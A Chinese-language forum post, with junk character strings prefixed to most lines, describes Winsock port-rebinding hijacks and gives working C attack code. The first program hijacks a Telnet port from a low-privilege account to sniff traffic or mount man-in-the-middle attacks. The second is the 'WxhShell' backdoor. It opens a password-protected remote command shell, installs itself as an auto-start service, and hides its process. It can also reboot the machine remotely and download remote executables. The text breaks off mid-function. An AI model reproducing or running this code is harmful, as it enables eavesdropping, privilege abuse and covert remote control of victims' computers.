在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
9pWi.J s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Dn~Z SrJ f>.4-a? saddr.sin_family = AF_INET;
`WH[DQ F\>oxttS1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZlthYuJ j((hqJr bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
\,>_c ?VFM]hO 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
w[
Axs8N' n!GWqle 这意味着什么?意味着可以进行如下的攻击:
8@E8!w&~ *;<e
'[Y7f 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2q)T y9 y^2#9\}K 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
xT W3UY N<9w{zIK( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
"Dyym<J @ru<4`h 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|2z}Xm5\ {tPnj_|n< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
m"n.Dz/S \CcmePTN#x 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(nGkZ}p
F[5S(7M
7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HtxLMzgz<< )AOPiC$jL #include
P3G:th@j= #include
aSUsyOe #include
l1&5uwuF #include
4<u;a46Z#M DWORD WINAPI ClientThread(LPVOID lpParam);
DlDB=N0@S int main()
MFv
Si {
VSh !4z1 WORD wVersionRequested;
bZiyapM DWORD ret;
+4Q[N;[+* WSADATA wsaData;
XTV0Le\f BOOL val;
&`\ ep9 SOCKADDR_IN saddr;
zt?h^zf} SOCKADDR_IN scaddr;
0A.PD rM: int err;
_ j~4+H SOCKET s;
oew|23Ytb SOCKET sc;
?FN9rhAC int caddsize;
j~epbl)pC HANDLE mt;
0{Bf9cH DWORD tid;
[ a@B
=E wVersionRequested = MAKEWORD( 2, 2 );
' PELf
P8 err = WSAStartup( wVersionRequested, &wsaData );
>)LAjwhBp if ( err != 0 ) {
u*hH} printf("error!WSAStartup failed!\n");
d<#p %$A4 return -1;
zhX;6= X2 }
7{-@}j` saddr.sin_family = AF_INET;
W,Ty=:qm* 3Y`>6A= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
K5{{:NR$ QP:9%f>= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
.:8[wI_f saddr.sin_port = htons(23);
mH)OB?+lq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hcyn
{
Xtkw Z3 printf("error!socket failed!\n");
8)pB_en3sO return -1;
L?HF'5o }
`_GO=QQ val = TRUE;
M|k&TTV //SO_REUSEADDR选项就是可以实现端口重绑定的
vO]J]][ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'*4iqPR; {
)A"jVQjI%w printf("error!setsockopt failed!\n");
PK+ x6]x return -1;
gKWzFnW }
uN9e:; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ailG./I+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+#~O'r]%GG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
dMJ!>l>2 jB!W2~Z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Y''6NGf {
a%E8(ms37y ret=GetLastError();
M6_-f ;. printf("error!bind failed!\n");
12lEs3 return -1;
4:U0f;Fs }
dKm`14f]@G listen(s,2);
Jn*Nao_) while(1)
yX'IZk#_L {
KaW~ERx5 caddsize = sizeof(scaddr);
Rboof`pVt //接受连接请求
,Aj }]h\L sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
wu 2:'y>n if(sc!=INVALID_SOCKET)
#EG?9T {
E_3r[1l mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/'4Q{8.a if(mt==NULL)
EjSD4 {
j;iL&eo> printf("Thread Creat Failed!\n");
UfKkgq# break;
=&2$/YX0D }
,]7XMU3 }
D#jX6 CloseHandle(mt);
b
=b: }
VhvTBo<cw closesocket(s);
@8zT'/$ WSACleanup();
dF
e4K" return 0;
/PqUXF }
:G 5C ]'t DWORD WINAPI ClientThread(LPVOID lpParam)
1~@|eWr| {
)~}PgbZ^ SOCKET ss = (SOCKET)lpParam;
+9zA^0 SOCKET sc;
~KRnr0 unsigned char buf[4096];
q5p e~ SOCKADDR_IN saddr;
E0YU[([G long num;
eu9w|g DWORD val;
X`1p'JD DWORD ret;
t#5:\U5r. //如果是隐藏端口应用的话,可以在此处加一些判断
*H"aOT^{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
y9!:^kDI saddr.sin_family = AF_INET;
M"(6&M=? saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
sJ~P:g saddr.sin_port = htons(23);
uNbIX:L, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{y6C0A* {
5
`=KyHi:b printf("error!socket failed!\n");
t77'fm return -1;
TsD;Kl1 }
v459},!P val = 100;
Q]#Z9 H if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+
|C=ZU {
^f|<R8 ` ret = GetLastError();
-~O/NX return -1;
V#J"c8n }
J`<f if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+"uwV1)b" {
!M(:U,?B ret = GetLastError();
0`n
5x0R return -1;
8=F %+ }
Hf%_}Du /` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
SF< [FM%1 {
"PzP;Br printf("error!socket connect failed!\n");
DA=1KaJ . closesocket(sc);
v`B4(P1Z closesocket(ss);
jdM=SBy7q return -1;
S}cF0B1E* }
"IwM:v while(1)
)0-o%- e {
i&&qbZt //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
cPuHLwwYf //如果是嗅探内容的话,可以再此处进行内容分析和记录
e$wt&^W //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Uh}X<d/V num = recv(ss,buf,4096,0);
Spgg+;9 if(num>0)
B 8{
uR send(sc,buf,num,0);
? )_7U else if(num==0)
^ ulps**e break;
K-(;D4/sQE num = recv(sc,buf,4096,0);
7'OPjtM if(num>0)
H$tb;: send(ss,buf,num,0);
5v9uHxy else if(num==0)
N9]xJgTze break;
4ht\&2&: }
uyT/Xzo3 closesocket(ss);
>nry0 ;z0, closesocket(sc);
"EH,J return 0 ;
FkB{ SCJ }
1;Xgc@ S$O,] @) +(mL~td01 ==========================================================
dJl^ADX[@ ({M?Q>s 下边附上一个代码,,WXhSHELL
[H,u)8) !8$RBD % ==========================================================
YqU/\f+ JJ5C}`( #include "stdafx.h"
f1Zt?= kCA5|u #include <stdio.h>
cNj*E
=~; #include <string.h>
io4aYB\ #include <windows.h>
&Rp"rMeW
#include <winsock2.h>
;+`uER #include <winsvc.h>
e<5Y94YE #include <urlmon.h>
<Tx C!{< lLCdmxbT #pragma comment (lib, "Ws2_32.lib")
254~:eB0 #pragma comment (lib, "urlmon.lib")
XDYosC: j} RzXJ~t #define MAX_USER 100 // 最大客户端连接数
XnXb&@Y #define BUF_SOCK 200 // sock buffer
!Iq{ 5: #define KEY_BUFF 255 // 输入 buffer
&1GUi{I |(ocDmd #define REBOOT 0 // 重启
Z;b+>2oL #define SHUTDOWN 1 // 关机
A}G|Yfn E*|tOj9`1n #define DEF_PORT 5000 // 监听端口
-_~)f{KN@ jTSOnF}C~+ #define REG_LEN 16 // 注册表键长度
5 =Z!hQ} #define SVC_LEN 80 // NT服务名长度
Uix{" PayV,8
// 从dll定义API
Fe$/t( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
@ls.&BHUP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
jO)&KEh typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
r(`nt-o@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
7& 6Y _/ Os^ >R // wxhshell配置信息
>.LKct*5K struct WSCFG {
l`gTU?<xd int ws_port; // 监听端口
]}LGbv"`A char ws_passstr[REG_LEN]; // 口令
xjq0D[ int ws_autoins; // 安装标记, 1=yes 0=no
-&Gfh\_NW char ws_regname[REG_LEN]; // 注册表键名
hz)9"B\S char ws_svcname[REG_LEN]; // 服务名
f\K#>u*
Q char ws_svcdisp[SVC_LEN]; // 服务显示名
\0AiCMX[ char ws_svcdesc[SVC_LEN]; // 服务描述信息
-x'e+zT char ws_passmsg[SVC_LEN]; // 密码输入提示信息
aqr!oxn?t int ws_downexe; // 下载执行标记, 1=yes 0=no
_!AJiP3!)4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
r4;Bu<PQN1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
6^YJ] w &
_K*kI: };
X~RH^VYv z\.1>/Z= // default Wxhshell configuration
nyhMnp#< struct WSCFG wscfg={DEF_PORT,
z $6JpG "xuhuanlingzhe",
9?`RR/w 1,
O9]\Q@M. "Wxhshell",
LSkk;)'2K "Wxhshell",
XDLEVSly7 "WxhShell Service",
c> G@+ "Wrsky Windows CmdShell Service",
#":a6%0Q "Please Input Your Password: ",
:oa9#c`L 1,
gfo}I2" "
http://www.wrsky.com/wxhshell.exe",
.JAcPyK^ "Wxhshell.exe"
F2>%KuM };
d6.}.*7Whc s AE9<(g&@ // 消息定义模块
)=H{5&e#u char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
mG(N:n%*K char *msg_ws_prompt="\n\r? for help\n\r#>";
' G#SLqZy char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
t26ij`V char *msg_ws_ext="\n\rExit.";
;f%|3-q1[ char *msg_ws_end="\n\rQuit.";
p&3>
`C char *msg_ws_boot="\n\rReboot...";
I/s.xk_i char *msg_ws_poff="\n\rShutdown...";
J22r v( char *msg_ws_down="\n\rSave to ";
'29WscU ;$!I&<) char *msg_ws_err="\n\rErr!";
aWaw&u char *msg_ws_ok="\n\rOK!";
Rd! 2\| b5 Q NEi char ExeFile[MAX_PATH];
\Ph7(ik int nUser = 0;
C\Ayv)S#2 HANDLE handles[MAX_USER];
pm]fQuq int OsIsNt;
@"8R3BN ;<-7*}Dj SERVICE_STATUS serviceStatus;
rn" pKUd SERVICE_STATUS_HANDLE hServiceStatusHandle;
\P?A7vuhLs s4,(26y // 函数声明
1K[(ou'rl int Install(void);
25em[Q:
int Uninstall(void);
-:]@HD : int DownloadFile(char *sURL, SOCKET wsh);
-JTG?JOd] int Boot(int flag);
#IX&9 aFB} void HideProc(void);
MUcNC\`z int GetOsVer(void);
7rIlTrG int Wxhshell(SOCKET wsl);
nW5K[/1D void TalkWithClient(void *cs);
u!1/B4!'O int CmdShell(SOCKET sock);
B8~=RmWLl int StartFromService(void);
(@Zcx9 int StartWxhshell(LPSTR lpCmdLine);
_01Px a2. |I1+"Mp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
pP\h6b+B VOID WINAPI NTServiceHandler( DWORD fdwControl );
)N)ljA3] rYGRz#:~+ // 数据结构和表定义
hKksVi SERVICE_TABLE_ENTRY DispatchTable[] =
g42T#p8^ {
4v qNule {wscfg.ws_svcname, NTServiceMain},
WK;(P4Z {NULL, NULL}
)iSy@*nY };
\dV Too &jm[4'$
*z // 自我安装
JEHK:1^ int Install(void)
qG9qN.|dC {
ma]?
)1<{ char svExeFile[MAX_PATH];
oVkr3KZ HKEY key;
p>p'.#M strcpy(svExeFile,ExeFile);
gpAHC s*JE) // 如果是win9x系统,修改注册表设为自启动
Qp!J:YV if(!OsIsNt) {
o}~3JBnT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
yWHne~! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X47O l RegCloseKey(key);
3w'W~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Jz$>k$!UD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Yu3_=:
<C RegCloseKey(key);
i<iXHBs return 0;
ou6j*eSN }
[g|Hj)( }
v@_in(dk }
h7?.2Q&S else {
H8i+'5x,? ;3UvkN // 如果是NT以上系统,安装为系统服务
3; y_mg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
E@pFTvo if (schSCManager!=0)
F=i!d,S {
NI\H
\#bJ SC_HANDLE schService = CreateService
h{/ve`F>@ (
x,1=D~L} schSCManager,
A&l7d0Z^j5 wscfg.ws_svcname,
\n0gTwiO% wscfg.ws_svcdisp,
B01^oYM} SERVICE_ALL_ACCESS,
d_T<5Hin SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
e?<D F.Md+ SERVICE_AUTO_START,
B] i:) SERVICE_ERROR_NORMAL,
M(5D'4. svExeFile,
/{we;Ut=g NULL,
Z| L2oce NULL,
FpdHnu i1 NULL,
}vD;DSz: NULL,
GP]TnQ<*; NULL
o+^Eu}[. );
vYzVY\ if (schService!=0)
`M rBav {
;+%Z@b% CloseServiceHandle(schService);
if@,vc CloseServiceHandle(schSCManager);
/q*KO\L strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
':sTd^V strcat(svExeFile,wscfg.ws_svcname);
P)IjL&[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
b~as64 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;[~^(.
f RegCloseKey(key);
xBWx+My return 0;
i+AUQ0Zbf6 }
[q$e6JwAt }
pqq?*\W&[v CloseServiceHandle(schSCManager);
\HG$V>2 }
s##Ay{ }
^
LbGH<#J ohplj`X[21 return 1;
z8tl0gd%D }
,'_(DJX N 8}lt // 自我卸载
d h?dO` int Uninstall(void)
6n-r {
{]["6V6W HKEY key;
p1^0{ILx lh$CWsx if(!OsIsNt) {
WRM$DA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\n(ROf^' RegDeleteValue(key,wscfg.ws_regname);
ai^t=
s RegCloseKey(key);
B^m!t7/, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M[z3 f RegDeleteValue(key,wscfg.ws_regname);
xgs@gw7!n0 RegCloseKey(key);
yjd(UWE return 0;
Y Z\@)D; }
GBr,LN }
-t>Z
9 }
4cB&Hk else {
B _tQeM kp; &cQu! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
cz>mhD if (schSCManager!=0)
^$}/|d( {
Gc^t%Ue-H) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
mQ=sNZ-d] if (schService!=0)
(HJ$lxk<2h {
tj0Qr-/ if(DeleteService(schService)!=0) {
Y"oDFo, CloseServiceHandle(schService);
4y>(RrVG CloseServiceHandle(schSCManager);
!l"tI#?6W% return 0;
`:gYXeR }
yU!GS- CloseServiceHandle(schService);
{\Ys@FF }
@E(P9zQ/zy CloseServiceHandle(schSCManager);
V" }*"P-% }
6lZGcRO }
}Az'Zu4 = z \^ return 1;
Se/ss!If }
N-Z^G<[q. ,\}k~ U99 // 从指定url下载文件
()B7(Y int DownloadFile(char *sURL, SOCKET wsh)
9R>~~~{-Go {
ETg{yBsp HRESULT hr;
HSC6;~U char seps[]= "/";
Tplg2p%k char *token;
`Jqf**t char *file;
F;W' char myURL[MAX_PATH];
aPt{C3< char myFILE[MAX_PATH];
N5ci};? a_AJ)4 strcpy(myURL,sURL);
*F..ZS'$[ token=strtok(myURL,seps);
7P
c(<Ui+ while(token!=NULL)
{yU0D*#6 {
cTy'JT7 file=token;
=G*z
53 token=strtok(NULL,seps);
u9,=po=+7f }
aC}p^Nkr"k s" N\82z) GetCurrentDirectory(MAX_PATH,myFILE);
Ta^.$O=F strcat(myFILE, "\\");
py.!%vIOQ strcat(myFILE, file);
iAgOnk[ send(wsh,myFILE,strlen(myFILE),0);
_E(x2BS? send(wsh,"...",3,0);
wE8]'o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
~Q0&P!k if(hr==S_OK)
V4Qz*z% return 0;
DEcGFRgN~ else
g kn)V~ij return 1;
p_;r%o= D>S8$]^Dm }
'?b\F~$8 K9^ "NS3 // 系统电源模块
~7dF/Nn5 int Boot(int flag)
oo\IS\ {
Gj*SPU HANDLE hToken;
f:&)" TOKEN_PRIVILEGES tkp;
IBDVFA ^t7_3%%w if(OsIsNt) {
7<vy;"wB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!9PX\Xbn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*iYMX[$ tkp.PrivilegeCount = 1;
~Z7)x7
z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?o8a_9+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:Nkz,R? if(flag==REBOOT) {
>ks3WMm if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
dt0T t return 0;
ps"9;4P }
YT][\x else {
+hZ] B<$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
fs7~NY return 0;
M`(;>Kp7 }
}=TqJy1 }
9Il'E6
J else {
=#jTo|~u4o if(flag==REBOOT) {
[+_\z',u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
} mgVC return 0;
p0 }
V@Ax}<$A else {
]bf' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
w8O hJv return 0;
,=yOek} }
W%=Zdm
rv }
% /~os2R *u58l(&`8 return 1;
$x/J+9Ww }
3Sk5I% EkDws`@ // win9x进程隐藏模块
g^qz&;R] void HideProc(void)
.iN-4"_j1 {
vs*>onCf *13g<#$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-?[O"D"c if ( hKernel != NULL )
iOKr9%9?Z {
'
l|41wxk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
eog\pMv ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
QziN] FreeLibrary(hKernel);
er#8D6* }
w{RNv%hJ$= 9zmD6G!}t return;
L00Sp#$\ }
`^?}s-H+ )r-T= // 获取操作系统版本
}_Tt1iai* int GetOsVer(void)
bX a %EMF {
Uf=vs( OSVERSIONINFO winfo;
Z83q- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
SJso'6 g GetVersionEx(&winfo);
Z|V"8jE if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
"bv,I-\ return 1;
,R7=]~<io" else
Z&AHM &,yj return 0;
em f0sL }
1EKcD^U, 53g8T+`\( // 客户端句柄模块
)pkhir06t int Wxhshell(SOCKET wsl)
} S'I
DHla {
]2hF!{wc SOCKET wsh;
G1`mn$`kq struct sockaddr_in client;
AAIyr703cQ DWORD myID;
Jnh;;< =; ~%L while(nUser<MAX_USER)
s!8J.hD'I {
W}#QKZ)MB int nSize=sizeof(client);
G%V=idU*" wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
z*??YUT\M if(wsh==INVALID_SOCKET) return 1;
X
,V= od> GC5#1+fQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
U89]?^|bb if(handles[nUser]==0)
:F!dTD$ closesocket(wsh);
gb!@OZ c else
f;@b
a[ nUser++;
u|_ITwk }
SX1Fyy6
w WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
N7RG5? &0;{lS[N:L return 0;
P#vv+]/ }
3B!&ow<rt N}.Q%&6: // 关闭 socket
$sd3h\P&R void CloseIt(SOCKET wsh)
?{ 8sT-Z-L {
a<a&63 closesocket(wsh);
#cSw"A nUser--;
e)ZyTuj ExitThread(0);
} kh/mq }
+O.&64( $ ufSNx(F // 客户端请求句柄
:FKYYH\ void TalkWithClient(void *cs)
d[P>jl%7 {
n)1 <{-(\>f!9 SOCKET wsh=(SOCKET)cs;
cpr{b8Xb8& char pwd[SVC_LEN];
tF;& x
g char cmd[KEY_BUFF];
,oB k> char chr[1];
110>p int i,j;
~vjr;a(B 82Z[eo while (nUser < MAX_USER) {
E,ZB;
Mo/2,DiI5 if(wscfg.ws_passstr) {
"df13U" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
HwVgT" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
WacU@L $A //ZeroMemory(pwd,KEY_BUFF);
KL:6P-3 i=0;
c4qp3B_w while(i<SVC_LEN) {
M'>D[5;N~ @gu77^=' // 设置超时
ziB]S@U fd_set FdRead;
N18diP[C struct timeval TimeOut;
Nw3I FD_ZERO(&FdRead);
2EqsfU*
I FD_SET(wsh,&FdRead);
=yhn8t7@] TimeOut.tv_sec=8;
N,sqr k] TimeOut.tv_usec=0;
OH!$5FEc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
vxzf[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
d<|lLNS cc2 oFn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
H>X\C;X[
pwd
=chr[0]; Jegx[*O>b
if(chr[0]==0xd || chr[0]==0xa) { yG4LQE
pwd=0; C9z~)aL}7
break; ~Hyyq-
} vhE}{ED
i++; D<D
k1
} M|Lw`?T
upEPv
.h
// 如果是非法用户,关闭 socket bHWvKv+
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #BT6bH08X
} Fy(nu-W
u_[4n
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tmY-m,U
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .1[2 CjQ
QE{;M
while(1) { dPyBY]`
z7.C\l
ZeroMemory(cmd,KEY_BUFF); v{rK_jq
MLv.v&@S
// 自动支持客户端 telnet标准 VT.{[Kl
j=0; 8H%I|fm
while(j<KEY_BUFF) { g_Dt} !A\B
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); thZ@BrO#
cmd[j]=chr[0]; HA3SQ
if(chr[0]==0xa || chr[0]==0xd) { C}8e<[})
cmd[j]=0;
Vf,~MG
break; GHgEbiY:
} K+\0}qn
j++; K^cWj_a"
} qY~$wVY(
hO<w]jV,
// 下载文件 He71h(BHm
if(strstr(cmd,"http://")) { ?C>VB+X}y
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zh~Lm
if(DownloadFile(cmd,wsh)) i37a}.;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]stLC; nI
else g`5`KU|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uc4L|:
} }2!5#/^~
else { 3EW f|6RI
UN
.[,%<s
switch(cmd[0]) { Z\gg<Q
\,cKt_{ u
// 帮助 eS@!\Hx
case '?': { 6L6~IXL>
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U0bEB
break; 'B<qG<>
} #+ lq7HJ1
// 安装 D@b<}J>0'
case 'i': { #ZnX6=;X
if(Install())
xV 1Z&l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Fr;'JYC1S
else ^B6i6]Pd=9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \|>`z,;
break; a^}P_hg}-
} V8U`%/`N
// 卸载 A*;^F]~'
case 'r': { g;Sg
2
if(Uninstall()) )6R#k8'ERr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !9<RWNKV)Y
else =!P?/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Iv|WeSL.
break; "KI,3g _V
} 53+rpU_
// 显示 wxhshell 所在路径 d_7Xlp@
case 'p': { gjN!_^_
char svExeFile[MAX_PATH]; 46?F+,Rzl
strcpy(svExeFile,"\n\r"); acju!,G
strcat(svExeFile,ExeFile); Py25k 0j!
send(wsh,svExeFile,strlen(svExeFile),0); c'Tu,-
break; 7D~O/#dcc
} =5=Vm[
// 重启 _Il9s#NA%
case 'b': { *I1W+W`G
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e%v4,8
if(Boot(REBOOT)) UV8r&O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8W<)c
else { &'ETx"
closesocket(wsh); QKaj4?p$|S
ExitThread(0); ut5!2t$c
} 6ewOZ,"j"4
break; a&c#* 9t{
} [11-`v0
// 关机 A%w]~ chC9
case 'd': { }:D~yEP
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z
a1|fB
if(Boot(SHUTDOWN)) gsR9M%mv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FR6I+@ oX~
else { ]%Yis=v
closesocket(wsh); 5eSTT#[+R
ExitThread(0); &@iF!D\u
} @SG="L
break; 8\.1m9&r>o
} \lakT_x
// 获取shell &?Z)V-1H
case 's': { 2GKU9cV*`
CmdShell(wsh);
=ObtD"
closesocket(wsh); ~q|e];tA
ExitThread(0); <W%Z_d&Xv
break; xv% USm
} )W6-h
// 退出
:E&T}RN
case 'x': { MH8%-UV
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
Z#t)Z "
CloseIt(wsh); 6F&]Mk]V8
break; K2MNaB
} iEgM~
// 离开 -+_aL4.
case 'q': {
-Fc#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4kF .
closesocket(wsh); Yg,lJ!q
WSACleanup(); p'!,F; xX
exit(1); s]8J+8
<uO
break; nzJi)A./
} `0XbV A
} V>uW|6
} fX$4TPy(h
P:-/3
// 提示信息 7Z~szD
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lnSE+YJ>
} '*;eFnmvs:
} |{IU<o
x
u2O^3rG-
return; `b`52b\6S
} c%/&@vs7
skx=w<YO6]
// shell模块句柄 9x^
/kAB
int CmdShell(SOCKET sock) m:Cx~
{
x Bw.M{
STARTUPINFO si; &`Z)5Ww
ZeroMemory(&si,sizeof(si)); 8PjhvU
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UuC"-$:
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SA n=9MG
PROCESS_INFORMATION ProcessInfo; r_sl~^* :
char cmdline[]="cmd"; 7^ {hn_%;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #I~dv{RX
return 0; /~huTKA}
} LF.~rmPa
Or)c*.|\
// 自身启动模式 cE>/iZc
int StartFromService(void) }e=GvWGa
{ 9,> Y
typedef struct 2co{9LM
{ Y '*h_K
DWORD ExitStatus; (wF$"c3'{
DWORD PebBaseAddress; U9sub6w 6
DWORD AffinityMask; '?GZ"C2
DWORD BasePriority; @5V Z
